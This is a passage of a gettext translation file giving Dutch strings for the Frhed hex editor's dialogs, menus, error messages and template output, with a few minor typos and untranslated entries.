msgid "Size of input:"
msgstr "Grootte van invoer:"

#: heksedit.rc:741
#, c-format
msgid "# Times input fits:"
msgstr "# keer dat invoer past"

#: heksedit.rc:743
#, c-format
msgid "Remainder:"
msgstr "Rest:"

#: heksedit.rc:745
#, c-format
msgid "Assignment operator"
msgstr "Toewijzingsoperator"

#: heksedit.rc:746
#, c-format
msgid "Assign (=)"
msgstr "Assign (=)"

#: heksedit.rc:747
#, c-format
msgid "OR (|=)"
msgstr "OR (|=)"

#: heksedit.rc:748
#, c-format
msgid "AND (&&=)"
msgstr "AND (&&=)"

#: heksedit.rc:749
#, c-format
msgid "XOR (^=)"
msgstr "XOR (^=)"

#: heksedit.rc:757
#, c-format
msgid "Change Instance"
msgstr "Instantie veranderen"

#: heksedit.rc:760
#, c-format
msgid "Load the following instance data:"
msgstr "Volgende instantiedata laden:"

#: heksedit.rc:766
#, c-format
msgid "and save (when quiting) to this instance data:"
msgstr "en opslaan (bij afsluiten) naar deze instantiedata:"

#: heksedit.rc:774
#, c-format
msgid "Remember that if any instance of Frhed is running on the same instance data as this one it will overwrite the data of this one if it exits last.  Unless, that is, that the option to save ini data to the registry on exit is disabled)"
msgstr "Onthoud dat indien een instantie van Frhed draait op dezelfde instantiedata als deze, dan zal het de data van deze overschrijven als het het laatst afgesloten wordt. Behalve als de optie om ini-data naar het register te schrijven bij afsluiten gedesactiveerd is)"

#: heksedit.rc:781
#, c-format
msgid "Encode / Decode Data"
msgstr "Data encorderen/decoderen"

#: heksedit.rc:784
#, c-format
msgid "Algorithms:"
msgstr "Algoritmen:"

#: heksedit.rc:787
#, c-format
msgid "Arguments:"
msgstr "Argumenten:"

#: heksedit.rc:789
#, c-format
msgid "Encode"
msgstr "Encoderen"

#: heksedit.rc:791
#, c-format
msgid "Decode"
msgstr "Decoderen"

#: heksedit.rc:800
#, c-format
msgid "Open Drive"
msgstr "Drive openen"

#: heksedit.rc:804
#, c-format
msgid "NOTE: Frhed allows only reading the drive data. Changing and saving the drive data is not possible."
msgstr "OPMERKING: Frhed staat alleen lezen van de drive-data toe. Wijzigen en opslaan van deze data is niet mogelijk."

#: heksedit.rc:805
#: heksedit.rc:959
#: heksedit.rc:989
#, c-format
msgid "Open"
msgstr "Openen"

#: heksedit.rc:812
#, c-format
msgid "Go to Track"
msgstr "Ga naar spoor"

#: heksedit.rc:815
#, c-format
msgid "Drive Information:"
msgstr "Drive-informatie:"

#: heksedit.rc:817
#, c-format
msgid "&Go to track:"
msgstr "&Ga naar spoor:"

#: heksedit.rc:826
#, c-format
msgid "Shortcuts"
msgstr "Snelkoppelingen"

#: heksedit.rc:829
#, c-format
msgid "Paths of shortcuts to Frhed:"
msgstr "Paden van snelkoppelingen naar Frhed:"

#: heksedit.rc:830
#, c-format
msgid "Links to Frhed"
msgstr "Links naar Frhed"

#: heksedit.rc:833
#, c-format
msgid "&Find links to any Frhed.exe, fix them and list them here."
msgstr "Links zoeken naar elke Frhed.exe, repareer ze en zet ze hier in de lijst."

#: heksedit.rc:836
#, c-format
msgid "Create link in/on:"
msgstr "Link maken in/op:"

#: heksedit.rc:837
#, c-format
msgid "&Desktop"
msgstr "Bureaublad"

#: heksedit.rc:839
#, c-format
msgid "S&tart Menu"
msgstr "S&tartmenu"

#: heksedit.rc:841
#, c-format
msgid "&Send To"
msgstr "Verzenden naar"

#: heksedit.rc:843
#, c-format
msgid "&Programs"
msgstr "&Programma's"

#: heksedit.rc:845
#, c-format
msgid "Link management:"
msgstr "Link-beheer:"

#: heksedit.rc:846
#, c-format
msgid "<< &Add..."
msgstr "<< Toevoegen..."

#: heksedit.rc:847
#, c-format
msgid "&Update list"
msgstr "Lijst updaten"

#: heksedit.rc:849
#, c-format
msgid ">> &Delete"
msgstr ">> Wissen"

#: heksedit.rc:850
#, c-format
msgid "&Move"
msgstr "Verplaatsen"

#: heksedit.rc:852
#, c-format
msgid "&Reload"
msgstr "Opnieuw laden"

#: heksedit.rc:853
#, c-format
msgid "&Close"
msgstr "Sluiten"

#: heksedit.rc:859
#, c-format
msgid "Move/Copy bytes"
msgstr "Bytes verplaatsen/kopiEen"

#: heksedit.rc:862
#, c-format
msgid "Operation:"
msgstr "Operatie:"

#: heksedit.rc:863
#, c-format
msgid "Start with (-) for negative length or movement backwards. Prefix with x for hex notation."
msgstr "Begin met (-) voor negatieve lengte of achterwaarts bewegen. Prefix met x voor hex notatie."

#: heksedit.rc:864
#: heksedit.rc:894
#: heksedit.rc:1330
#, c-format
msgid "Move"
msgstr "Verplaatsen"

#: heksedit.rc:866
#, c-format
msgid "Begin of the block:"
msgstr "Begin van de blok:"

#: heksedit.rc:868
#, c-format
msgid "End of the block:"
msgstr "Einde van de blok:"

#: heksedit.rc:870
#, c-format
msgid "Offset"
msgstr "Offset"

#: heksedit.rc:871
#, c-format
msgid "Length"
msgstr "Lengte"

#: heksedit.rc:872
#, c-format
msgid "Target:"
msgstr "Doel:"

#: heksedit.rc:874
#, c-format
msgid "Bytes forward"
msgstr "Bytes vooruit"

#: heksedit.rc:875
#, c-format
msgid "First byte offset"
msgstr "Eerste-byte offset"

#: heksedit.rc:876
#, c-format
msgid "Last byte offset"
msgstr "Laatste-byte offset"

#: heksedit.rc:884
#, c-format
msgid "Drag-drop"
msgstr "Slepen-neerzetten"

#: heksedit.rc:887
#, c-format
msgid "Clipboard format[s] to use:"
msgstr "Te gebruiken klembordformaten:"

#: heksedit.rc:891
#, c-format
msgid "Up"
msgstr "Omhoog"

#: heksedit.rc:892
#, c-format
msgid "Down"
msgstr "Omlaag"

#: heksedit.rc:893
#, c-format
msgid "Data:"
msgstr "Data:"

#: heksedit.rc:905
#, c-format
msgid "OLE Drag-drop options"
msgstr "OLE slepen-neerzetten opties"

#: heksedit.rc:908
#, c-format
msgid "General"
msgstr "Algemeen"

#: heksedit.rc:909
#, c-format
msgid "Enable drop input"
msgstr "Invoer neerzetten activeren"

#: heksedit.rc:911
#, c-format
msgid "Enable drag output"
msgstr "Uitvoer slepen activeren"

#: heksedit.rc:913
#, c-format
msgid "Enable scroll-delaying for drag-drop"
msgstr "Scrollvertraging bij slepen-neerzetten activeren"

#: heksedit.rc:915
#, c-format
msgid "Enable scroll-delaying for selecting"
msgstr "Scrollvertraging bij selecteren activeren"

#: heksedit.rc:917
#, c-format
msgid "Always give the opportunity to change between move and copy after a drop."
msgstr "Altijd de mogelijkheid geven om te wisselen tussen verplaatsen en kopiEen na neerzetten."

#: heksedit.rc:921
#, c-format
msgid "CF_HDROP opens the files dropped."
msgstr "CF_HDROP opent de bestanden als neerzetten"

#: heksedit.rc:923
#, c-format
msgid "Drop \"BinaryData\" if present"
msgstr "\"BinaryData\" neerzetten indien aanwezig"

#: heksedit.rc:926
#, c-format
msgid "Drop CF_TEXT if present"
msgstr "CF_TEXT neerzetten indien aanwezig"

#: heksedit.rc:929
#, c-format
msgid "Output"
msgstr "Uitvoer"

#: heksedit.rc:930
#, c-format
msgid "Drag \"BinaryData\""
msgstr "\"BinaryData\" slepen"

#: heksedit.rc:933
#, c-format
msgid "Drag CF_TEXT as:"
msgstr "CF_TEXT slepen als:"

#: heksedit.rc:936
#, c-format
msgid "Hexdump"
msgstr "Hexdump"

#: heksedit.rc:938
#, c-format
msgid "Special syntax (<bh:ff>...)"
msgstr "Speciale syntax (<bh:ff>...)"

#: heksedit.rc:940
#, c-format
msgid "display (else digits)"
msgstr "weergave (anders digits)"

#: heksedit.rc:943
#, c-format
msgid "Drag \"Rich Text Format\" (as hexdump)"
msgstr "\"Rich Text Format\" slepen (als hexdump)"

#: heksedit.rc:953
#, c-format
msgid "Multiple files dropped"
msgstr "Meerdere bestanden neergezet"

#: heksedit.rc:956
#, c-format
msgid "Select the file to open:"
msgstr "Selecteer bestand om te openen:"

#: heksedit.rc:966
#, c-format
msgid "Delete"
msgstr "Wissen"

#: heksedit.rc:969
#, c-format
msgid "Start deleting at offset:"
msgstr "Beginnen wissen bij offset:"

#: heksedit.rc:971
#, c-format
msgid "Delete how many bytes"
msgstr "Hoeveel bytes te wissen"

#: heksedit.rc:972
#, c-format
msgid "Delete up to and including offset:"
msgstr "Wissen tot en met offset:"

#: heksedit.rc:974
#, c-format
msgid "Number of bytes to delete:"
msgstr "Aantal bytes te wissen:"

#: heksedit.rc:990
#, c-format
msgid "New"
msgstr "Nieuw"

#: heksedit.rc:995
#, c-format
msgid "Save"
msgstr "Opslaan"

#: heksedit.rc:999
#, c-format
msgid "Help"
msgstr "Help"

#: heksedit.rc:1010
#, c-format
msgid "Goto next sector"
msgstr "Ga naar volgende sector"

#: heksedit.rc:1011
#, c-format
msgid "Goto previous sector"
msgstr "Ga naar vorige sector"

#: heksedit.rc:1012
#, c-format
msgid "Goto first sector"
msgstr "Ga naar eerste sector"

#: heksedit.rc:1013
#, c-format
msgid "Goto last sector"
msgstr "Ga naar laatste sector"

#: heksedit.rc:1019
#, c-format
msgid "Frhed"
msgstr "Frhed"

#: heksedit.rc:1020
#, c-format
msgid "Version %u.%u.%u"
msgstr "Versie %u.%u.%u"

#: heksedit.rc:1021
#, c-format
msgid "%d) 0x%zx=%zu to 0x%zx=%zu (%zu bytes)"
msgstr "%d) 0x%zx=%zu naar 0x%zx=%zu (%zu bytes)"

#: heksedit.rc:1022
#, c-format
msgid "All Files (*.*)|*.*|"
msgstr ""

#: heksedit.rc:1023
#, c-format
msgid "Untitled"
msgstr "Naamloos"

#: heksedit.rc:1026
#, c-format
msgid "READ"
msgstr "READ"

#: heksedit.rc:1027
#, c-format
msgid "OVR"
msgstr "OVR"

#: heksedit.rc:1028
#, c-format
msgid "INS"
msgstr "INS"

#: heksedit.rc:1029
#: heksedit.rc:1290
#, c-format
msgid "L"
msgstr "L"

#: heksedit.rc:1030
#: heksedit.rc:1287
#, c-format
msgid "B"
msgstr "B"

#: heksedit.rc:1031
#, c-format
msgid ""
"You are trying to open a link file.\n"
"Click on Yes if you want to open the file linked to,\n"
"or click on No if you want to open the link file itself.\n"
"Choose Cancel if you want to abort opening."
msgstr ""
"U probeert een linkbestand te openen.\n"
"Klik op Ja indien u het bestand wil openen waarnaar gelinkt wordt,\n"
"of klik op Nee indien u het linkbestand zelf wil openen.\n"
"Kies Annuleren indien u het openen wil afbreken."

#: heksedit.rc:1037
#, c-format
msgid "Start offset not recognized."
msgstr "Begin-offset niet herkend."

#: heksedit.rc:1038
#, c-format
msgid "End offset not recognized."
msgstr "Eind-offset niet herkend."

#: heksedit.rc:1039
#, c-format
msgid "Offset not recognized."
msgstr "Offset niet herkend."

#: heksedit.rc:1045
#, c-format
msgid "Error while reading from file."
msgstr "Fout bij lezen van bestand."

#: heksedit.rc:1046
#, c-format
msgid "Not enough memory."
msgstr "Niet genoeg geheugen."

#: heksedit.rc:1047
#, c-format
msgid "Number of bytes not recognized."
msgstr "Aantal bytes niet herkend."

#: heksedit.rc:1048
#, c-format
msgid "Error opening file."
msgstr "Fout bij openen van bestand."

#: heksedit.rc:1049
#, c-format
msgid "Not enough memory to load file."
msgstr "Niet genoeg geheugen om bestand te laden."

#: heksedit.rc:1050
#, c-format
msgid "Could not save the file."
msgstr "Kon het bestand niet opslaan."

#: heksedit.rc:1051
#, c-format
msgid ""
"Could not backup file!\n"
"Backup aborted, Save continuing."
msgstr ""
"Kon het bestand niet back-uppen!\n"
"Back-up afgebroken, doorgaan met opslaan."

#: heksedit.rc:1052
#, c-format
msgid "Could not save partially opened file."
msgstr "Kon gedeeltelijk geopend bestand niet opslaan."

#: heksedit.rc:1053
#, c-format
msgid "Could not move data in the file."
msgstr "Kon data in het bestand niet verplaatsen"

#: heksedit.rc:1054
#, c-format
msgid "Could not resize the file."
msgstr "Kon de bestandsgrootte niet aanpassen."

#: heksedit.rc:1055
#, c-format
msgid "Could not seek in file."
msgstr "Kon niet zoeken in bestand."

#: heksedit.rc:1056
#, c-format
msgid "Could not write data to file."
msgstr "Kon geen data schrijven naar bestand."

#: heksedit.rc:1057
#, c-format
msgid ""
"Help file\n"
"%s\n"
"not found!"
msgstr ""
"Helpbestand\n"
"%s\n"
"niet gevonden!"

#: heksedit.rc:1058
#, c-format
msgid "Error code 0x%x occurred while opening file %s."
msgstr "Foutcode 0x%x deed zich voor tijdens het openen van bestand %s."

#: heksedit.rc:1059
#, c-format
msgid "Could not save preferences to registry."
msgstr "Kon voorkeuren niet opslaan naar het register."

#: heksedit.rc:1060
#, c-format
msgid "File is empty."
msgstr "Bestand is leeg."

#: heksedit.rc:1061
#, c-format
msgid "An error occurred when calling the text editor."
msgstr "Er deed zich een fout voor bij het oproepen van de teksteditor."

#: heksedit.rc:1062
#, c-format
msgid "Could not insert data."
msgstr "Kon geen data invoegen."

#: heksedit.rc:1063
#, c-format
msgid "Error checking file size"
msgstr "Fout bij opzoeken van bestandsgrootte"

#: heksedit.rc:1064
#, c-format
msgid "No data present. Cannot continue!"
msgstr "Geen data aanwezig. Kan niet doorgaan!"

#: heksedit.rc:1065
#, c-format
msgid ""
"Could not get text from the file.\n"
"Cannot continue!"
msgstr ""
"Kon geen tekst verkrijgen van het bestand.\n"
"Kan niet doorgaan!"

#: heksedit.rc:1071
#, c-format
msgid "KB"
msgstr "kB"

#: heksedit.rc:1072
#, c-format
msgid "MB"
msgstr "MB"

#: heksedit.rc:1073
#, c-format
msgid "GB"
msgstr "GB"

#: heksedit.rc:1074
#, c-format
msgid "TB"
msgstr "TB"

#: heksedit.rc:1080
#, c-format
msgid "Could not open the browser."
msgstr "Kon de browser niet openen."

#: heksedit.rc:1081
#, c-format
msgid ""
"File\n"
"%s\n"
"not found!"
msgstr ""
"Bestand\n"
"%s\n"
"niet gevonden!"

#: heksedit.rc:1087
#, c-format
msgid "Can not set bookmark at that position."
msgstr "Kan geen bladwijzer zetten op die positie."

#: heksedit.rc:1088
#, c-format
msgid "There already is a bookmark on that position."
msgstr "Er is al een bladwijzer op die positie."

#: heksedit.rc:1089
#, c-format
msgid "Can not set bookmark in empty file."
msgstr "Kan geen bladwijzer zetten in een leeg bestand."

#: heksedit.rc:1090
#, c-format
msgid "Can not set any more bookmarks."
msgstr "Kan geen bladwijzers meer zetten."

#: heksedit.rc:1091
#, c-format
msgid "Bookmark points to invalid position."
msgstr "Bladwijzer verwijst naar een ongeldige positie."

#: heksedit.rc:1092
#, c-format
msgid "No bookmarks to remove."
msgstr "Geen bladwijzers te verwijderen."

#: heksedit.rc:1093
#, c-format
msgid "Remove all bookmarks?"
msgstr "Alle bladwijzers verwijderen?"

#: heksedit.rc:1099
#, c-format
msgid "Number of bytes to append not recognized."
msgstr "Aantal toe te voegen bytes niet herkend."

#: heksedit.rc:1100
#, c-format
msgid "Not enough memory for appending."
msgstr "Niet genoeg geheugen om aan te sluiten."

#: heksedit.rc:1106
#, c-format
msgid "Offset: 0x%zx = %zd"
msgstr "Offset: 0x%zx = %zd"

#: heksedit.rc:1107
#, c-format
msgid "Value: 0x%02x, %d signed, %u unsigned."
msgstr "Waarde: 0x%02x, %d signed, %u unsigned."

#: heksedit.rc:1113
#, c-format
msgid "Choose file to compare with"
msgstr "Kies een bestand om mee te vergelijken"

#: heksedit.rc:1114
#, c-format
msgid "Error while opening file."
msgstr "Fout bij openen van bestand."

#: heksedit.rc:1115
#, c-format
msgid "%d areas of difference found."
msgstr "%d verschilgebieden gevonden."

#: heksedit.rc:1116
#, c-format
msgid "Remaining loaded data size: %lld, size of file on disk: %lld."
msgstr "Resterende geladen datagrootte: %lld, grootte van bestand op de schijf: %lld."

#: heksedit.rc:1117
#, c-format
msgid "Data matches exactly."
msgstr "Data is identiek."

#: heksedit.rc:1123
#, c-format
msgid "Cannot get access to clipboard."
msgstr "Kan geen toegang krijgen tot klembord."

#: heksedit.rc:1124
#, c-format
msgid "Cannot lock clipboard."
msgstr "Kan klembord niet vastzetten."

#: heksedit.rc:1125
#: heksedit.rc:1136
#, c-format
msgid "Not enough memory for copying."
msgstr "Niet genoeg geheugen voor kopiEen."

#: heksedit.rc:1126
#, c-format
msgid ""
"\n"
"Do you want the above output to be copied to the clipboard?\n"
msgstr ""
"\n"
"Wilt u bovenstaande uitvoer laten kopiEen naar het klembord?\n"

#: heksedit.rc:1127
#, c-format
msgid "You need to select a clipboard format to use."
msgstr "U moet een klembordformaat selecteren om te gebruiken."

#: heksedit.rc:1128
#, c-format
msgid ""
"Could not get text from the clipboard.\n"
"Cannot continue!"
msgstr ""
"Kon geen tekst verkrijgen van het klembord.\n"
"Kan niet doorgaan!"

#: heksedit.rc:1129
#, c-format
msgid ""
"There is text on the clipboard.\n"
"Do you want to import from\n"
"the clipboard instead of a file?"
msgstr ""
"Er is tekst aanwezig op het klembord.\n"
"Wilt u importeren van het klembord\n"
"in plaats van uit een bestand?"

#: heksedit.rc:1135
#, c-format
msgid "Can't copy more bytes than are present."
msgstr "Kan niet meer bytes kopiEen dan er aanwezig zijn."

#: heksedit.rc:1142
#, c-format
msgid "Can't cut more bytes than are present."
msgstr "Kan niet meer bytes knippen dan er aanwezig zijn."

#: heksedit.rc:1143
#, c-format
msgid "Not enough memory for cutting to clipboard."
msgstr "Niet genoeg geheugen om naar het klembord te kopiEen."

#: heksedit.rc:1144
#, c-format
msgid "Could not cut the data."
msgstr "Kon de data niet knippen"

#: heksedit.rc:1150
#, c-format
msgid "Can't delete more bytes than are present."
msgstr "Kan niet meer bytes wissen dan er aanwezig zijn."

#: heksedit.rc:1151
#, c-format
msgid "Could not delete data."
msgstr "Kon data niet wissen."

#: heksedit.rc:1157
#, c-format
msgid "Decimal value not recognized."
msgstr "Decimale waarde niet herkend."

#: heksedit.rc:1158
#, c-format
msgid "Number of times not recognized."
msgstr "Aantal keren niet herkend."

#: heksedit.rc:1159
#, c-format
msgid "Invalid start offset."
msgstr "Ongeldige begin-offset."

#: heksedit.rc:1160
#, c-format
msgid "Not enough space for writing decimal values."
msgstr "Niet genoeg ruimte om decimale waarden te schrijven."

#: heksedit.rc:1166
#, c-format
msgid "Number of times to paste must be at least 1."
msgstr "Aantal keren te plakken moet ten minste 1 zijn."

#: heksedit.rc:1167
#, c-format
msgid "Tried to paste zero-length array."
msgstr "Er werd geprobeerd om een nul-lengte array te plakken."

#: heksedit.rc:1168
#, c-format
msgid "Not enough memory for inserting."
msgstr "Niet genoeg geheugen voor invoegen."

#: heksedit.rc:1169
#, c-format
msgid "Not enough space for overwriting."
msgstr "Niet genoeg ruimte om te overschrijven."

#: heksedit.rc:1175
#, c-format
msgid "Can't fill a selection with a file of zero size."
msgstr "Kan een selectie niet opvullen met een bestand met een grootte van nul."

#: heksedit.rc:1176
#, c-format
msgid "Can't fill a selection with a string of zero size."
msgstr "Kan een selectie niet opvullen met een string met een grootte van nul."

#: heksedit.rc:1177
#, c-format
msgid "Too many bytes to fill with or some other error."
msgstr "Te veel bytes om mee te vullen, of een andere fout."

#: heksedit.rc:1183
#, c-format
msgid "You have chosen an offset but it is negative, which is invalid."
msgstr "U heeft een negatieve offset gekozen, wat ongeldig is"

#: heksedit.rc:1184
#, c-format
msgid "The target value is invalid."
msgstr "De doelwaarde is ongeldig."

#: heksedit.rc:1185
#, c-format
msgid "Cannot move/copy a block of zero length."
msgstr "Kan een blok zonder lengte niet verplaatsen/kopiEen."

#: heksedit.rc:1186
#, c-format
msgid "The chosen block extends into non-existent data."
msgstr "De gekozen blok breidt zich uit over niet-bestaande data."

#: heksedit.rc:1187
#, c-format
msgid "The block was not moved!"
msgstr "De blok werd niet verplaatst!"

#: heksedit.rc:1188
#, c-format
msgid "Cannot move/copy the block outside the data."
msgstr "Kan de blok niet verplaatsen/kopiEen buiten de data."

#: heksedit.rc:1194
#, c-format
msgid "&Size of file: %lld bytes. Load how many bytes:"
msgstr "Bestandsgrootte: %lld bytes. Aantal bytes te laden:"

#: heksedit.rc:1195
#, c-format
msgid "Cannot open more than 2 GB of data."
msgstr "Kan niet meer dan 2 GB data openen."

#: heksedit.rc:1196
#, c-format
msgid "Specified number of bytes to load greater than file size."
msgstr "Gespecificeerd aantal te laden bytes is groter dan bestandsgrootte."

#: heksedit.rc:1197
#, c-format
msgid "Too many bytes to load."
msgstr "Te veel bytes te laden."

#: heksedit.rc:1203
#, c-format
msgid "Cannot reverse single byte."
msgstr "Kan een enkele byte niet omkeren."

#: heksedit.rc:1204
#, c-format
msgid "The chosen block extends into non-existent data. The offsets will be shifted to correct positions."
msgstr "De gekozen blok breidt zich uit over niet-bestaande data. De offsets zullen in correcte positie gezet worden."

#: heksedit.rc:1210
#, c-format
msgid "Link names are \"Frhed.lnk\""
msgstr "Linknamen zijn \"Frhed.lnk\""

#: heksedit.rc:1211
#, c-format
msgid "This folder already contains a file called \"Frhed.lnk\""
msgstr "Deze map bevat reeds een bestand genaamd \"Frhed.lnk\""

#: heksedit.rc:1212
#, c-format
msgid "\"Frhed.lnk\" can be added to this folder."
msgstr "\"Frhed.lnk\" kan aan deze map toegevoegd worden."

#: heksedit.rc:1213
#, c-format
msgid "\"Frhed.lnk\" cannot be added to this folder."
msgstr "\"Frhed.lnk\" kan niet aan deze map toegevoegd worden."

#: heksedit.rc:1214
#, c-format
msgid "Frhed can start searching here."
msgstr "Frhed kan hier beginnen zoeken."

#: heksedit.rc:1215
#, c-format
msgid "Frhed cannot start the search from here."
msgstr "Frhed kan vanaf hier niet beginnen zoeken."

#: heksedit.rc:1216
#, c-format
msgid "Could not save shortcut entries."
msgstr "Kon snelkoppelingen niet opslaan."

#: heksedit.rc:1217
#, c-format
msgid "Cannot move more than 1 link at a time."
msgstr "Kan niet meer dan 1 link tegelijk verplaatsen."

#: heksedit.rc:1218
#, c-format
msgid "No link selected to move."
msgstr "Geen link geselecteerd om te verplaatsen."

#: heksedit.rc:1219
#, c-format
msgid "Couldn't find the selected item."
msgstr "Kon het geselecteerde item niet vinden."

#: heksedit.rc:1220
#, c-format
msgid "Place a link to Frhed in..."
msgstr "Plaats een link naar Frhed in..."

#: heksedit.rc:1221
#, c-format
msgid "Move the link to Frhed to..."
msgstr "Verplaats de link naar Frhed naar..."

#: heksedit.rc:1222
#, c-format
msgid "There is already a link in that folder."
msgstr "Er is al een link in die map."

#: heksedit.rc:1223
#, c-format
msgid "Existing links to old versions of Frhed will be updated to this version.\nAre you sure you want to continue?"
msgstr ""
"Bestaande links naar oude versies van Frhed zullen geEdatet worden naar deze versie.\n"
"Weet u zeker dat u wil verdergaan?"

#: heksedit.rc:1224
#, c-format
msgid "Pick a folder to start searching in."
msgstr "Kies een map om in te beginnen zoeken."

#: heksedit.rc:1225
#, c-format
msgid "No links selected to delete."
msgstr "Geen links geselecteerd om te wissen."

#: heksedit.rc:1231
#, c-format
msgid "Selection too large."
msgstr "Selectie te groot."

#: heksedit.rc:1232
#, c-format
msgid "Could not find data."
msgstr "Kon data niet vinden"

#: heksedit.rc:1233
#, c-format
msgid "Findstring is zero bytes long."
msgstr "Zoekstrink is nul bytes groot."

#: heksedit.rc:1234
#, c-format
msgid "Could not find any more occurrences."
msgstr "Kon geen gevallen meer vinden."

#: heksedit.rc:1235
#, c-format
msgid "String to find not specified."
msgstr "Te zoeken string niet gespecificeerd."

#: heksedit.rc:1241
#, c-format
msgid "You need to have Administrator privileges for getting list of drives."
msgstr "U moet administratorrechten hebben om een lijst van drives te verkrijgen."

#: heksedit.rc:1242
#, c-format
msgid "Unable to open drive."
msgstr "Openen drive onmogelijk."

#: heksedit.rc:1243
#, c-format
msgid "Cylinders"
msgstr "Cilinders"

#: heksedit.rc:1244
#, c-format
msgid "Sectors"
msgstr "Sectoren"

#: heksedit.rc:1245
#, c-format
msgid "Tracks per cylinder"
msgstr "Tracks per cilinder"

#: heksedit.rc:1246
#, c-format
msgid "Sectors per track"
msgstr "Sectoren per track"

#: heksedit.rc:1247
#, c-format
msgid "Bytes per sector"
msgstr "Bytes per sector"

#: heksedit.rc:1248
#, c-format
msgid "Total size in bytes"
msgstr "Totale grootte in bytes"

#: heksedit.rc:1249
#, c-format
msgid "%s:Sector %I64d"
msgstr "%s:Sector %I64d"

#: heksedit.rc:1250
#, c-format
msgid "Drive %d, Partition %d (%s)"
msgstr "Schijf %d, Partitie %d (%s)"

#: heksedit.rc:1251
#, c-format
msgid "Drive %d (%s)"
msgstr "Schijf %d (%s)"

#: heksedit.rc:1257
#, c-format
msgid ""
"Not enough memory to import data.\n"
"Cannot continue!\n"
"Do you want to keep what has been found so far?"
msgstr ""
"Niet genoeg geheugen om data te importeren.\n"
"Kan niet doorgaan!\n"
"Wilt u behouden wat tot nu toe gevonden is?"

#: heksedit.rc:1258
#, c-format
msgid "The first offset found was 0x%llx, which is greater than zero.\nDo you want to insert %lld null bytes at the start of the data?"
msgstr ""
"De eerst gevonden offset was 0x%llx, die groter is dan nul.\n"
"Wilt u %lld null bytes invoegen aan het begin van de data?"

#: heksedit.rc:1259
#, c-format
msgid ""
"Invalid offset found.\n"
"Ignore further invalid offsets?"
msgstr ""
"Ongeldige offset gevonden.\n"
"Verdere ongeldige offsets negeren?"

#: heksedit.rc:1260
#, c-format
msgid ""
"Character data does not agree with hex data.\n"
"Ignore further mismatched data?\n"
"NB: Hex data will be used when ignoring."
msgstr ""
"Tekendata komt niet overeen met hex data.\n"
"Verdere niet-passende data negeren?\n"
"NB: Hex data zal gebruikt worden bij negeren."

#: heksedit.rc:1261
#, c-format
msgid ""
"Illegal character in hex data.\n"
"Cannot continue!\n"
"Do you want to keep what has been found so far?"
msgstr ""
"Ongeldig teken in hex data.\n"
"Kan niet doorgaan!\n"
"Wilt u behouden wat tot nu toe gevonden is?"

#: heksedit.rc:1262
#, c-format
msgid "Unexpected end of data found.\nCannot continue!\nDo you want to keep what has been found so far?"
msgstr ""
"Onverwacht einde van data gevonden.\n"
"Kan niet doorgaan!\n"
"Wilt u behouden wat tot nu toe gevonden is?"

#: heksedit.rc:1263
#, c-format
msgid ""
"Does this data have the same format as the Frhed display?\n"
"This data contains "
msgstr ""
"Heeft deze data hetzelfde formaat als de Frhed-weergave?\n"
"Deze data bevat"

#: heksedit.rc:1264
#, c-format
msgid "characters other than whitespace and hexdigits (like Frhed display)."
msgstr "andere tekens dan witruimte en hexdigits (zoals Frhed-weergave)."

#: heksedit.rc:1265
#, c-format
msgid "only whitespace and hexdigits (unlike Frhed display)."
msgstr "alleen witruimte en hexdigits (niet zoals Frhed-weergave)."

#: heksedit.rc:1271
#, c-format
msgid "Data to replace must be selected."
msgstr "Te vervangen data moet geselecteerd worden."

#: heksedit.rc:1272
#, c-format
msgid "Could not delete selected data."
msgstr "Kon geselecteerde data niet wissen."

#: heksedit.rc:1273
#, c-format
msgid "Replacing failed."
msgstr "Vervangen mislukt."

#: heksedit.rc:1274
#, c-format
msgid "Could not translate text to binary."
msgstr "Kon tekst niet vertalen naar binary."

#: heksedit.rc:1275
#, c-format
msgid "To-replace and replace-with data are same."
msgstr "Te vervangen en vervangen-door data zijn hetzelfde."

#: heksedit.rc:1276
#, c-format
msgid "%d occurrences replaced."
msgstr "%d gevallen vervangen."

#: heksedit.rc:1277
#, c-format
msgid "Could not use selection as replace target."
msgstr "Kon selectie niet gebruiken als vervangingsdoel."

#: heksedit.rc:1283
#, c-format
msgid "Selected: Offset %zd=0x%zx to %zd=0x%zx (%zd byte(s))"
msgstr "Geselecteerd: Offset %zd=0x%zx tot %zd=0x%zx (%zd byte(s))"

#: heksedit.rc:1284
#, c-format
msgid "Offset %zd=0x%zx"
msgstr "Offset %zd=0x%zx"

#: heksedit.rc:1285
#, c-format
msgid "Bits"
msgstr "Bits"

#: heksedit.rc:1286
#, c-format
msgid "Unsigned"
msgstr "Unsigned"

#: heksedit.rc:1288
#, c-format
msgid "END"
msgstr "END"

#: heksedit.rc:1289
#, c-format
msgid "W"
msgstr "W"

#: heksedit.rc:1291
#, c-format
msgid "Signed"
msgstr "Signed"

#: heksedit.rc:1292
#, c-format
msgid "Size"
msgstr "Grootte"

#: heksedit.rc:1299
#, c-format
msgid "Template file:"
msgstr "Sjabloonbestand:"

#: heksedit.rc:1300
#, c-format
msgid "Applied at offset:"
msgstr "Toegepast bij offset:"

#: heksedit.rc:1301
#, c-format
msgid "= %d (signed) = %u (unsigned) = 0x%x = '%c'"
msgstr "= %d (signed) = %u (unsigned) = 0x%x = '%c'"

#: heksedit.rc:1302
#: heksedit.rc:1305
#: heksedit.rc:1307
#, c-format
msgid "= %d (signed) = %u (unsigned) = 0x%x"
msgstr "= %d (signed) = %u (unsigned) = 0x%x"

#: heksedit.rc:1303
#, c-format
msgid "ERROR: not enough space for byte-size data."
msgstr "FOUT: niet genoeg ruimte voor byte-grootte data."

#: heksedit.rc:1304
#, c-format
msgid "ERROR: missing variable name."
msgstr "FOUT: variabele-naam ontbreekt."

#: heksedit.rc:1306
#, c-format
msgid "ERROR: not enough space for WORD-size data."
msgstr "FOUT: niet genoeg ruimte voor WOORD-grootte data."

#: heksedit.rc:1308
#, c-format
msgid "ERROR: not enough space for DWORD-size data."
msgstr "FOUT: niet genoeg ruimte voor DWORD-grootte data."

#: heksedit.rc:1309
#, c-format
msgid "= %f = 0x%x"
msgstr "= %f = 0x%x"

#: heksedit.rc:1310
#, c-format
msgid "ERROR: not enough space for float-size data."
msgstr "FOUT: niet genoeg ruimte voor float-grootte data."

#: heksedit.rc:1311
#, c-format
msgid "= %g"
msgstr "= %g"

#: heksedit.rc:1312
#, c-format
msgid "ERROR: not enough space for double-size data."
msgstr "FOUT: niet genoeg ruimte voor dubbele-grootte data."

#: heksedit.rc:1313
#, c-format
msgid "ERROR: Unknown variable type:"
msgstr "FOUT: onbekend type variabele:"

#: heksedit.rc:1319
#, c-format
msgid "-> Length of template = %zu bytes."
msgstr ""

#: heksedit.rc:1320
#, c-format
msgid "Template files (*.tpl)\0*.tpl\0\0"
msgstr ""

